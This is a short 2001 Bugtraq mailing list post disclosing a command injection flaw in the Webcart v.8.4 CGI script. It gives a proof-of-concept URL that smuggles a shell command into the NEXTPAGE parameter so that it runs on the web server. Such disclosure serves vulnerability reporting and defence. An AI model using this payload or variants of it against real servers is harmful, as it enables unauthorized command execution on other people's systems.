Bugtraq mailing list archives

Webcart v.8.4

From: root () xpteam f2s com
Date: Fri, 19 Oct 2001 03:29:24 +0000

Webcart v.8.4 by Mountain Network Systems, Inc., 
 
 
This script has vulnerability (does not filter input of the 
user) which allows to carry out commands from 
WebServer.


 
EXPLOIT:
http://www.server.com/cgi-bin/webcart/webcart.cgi?
CONFIG=mountain&CHANGE=YES&NEXTPAGE=;ls|&CODE=PHOLD
 


------------------------------------------------- 
Everyone should have http://www.freedom2surf.net/

Current thread:

Webcart v.8.4 root (Oct 19)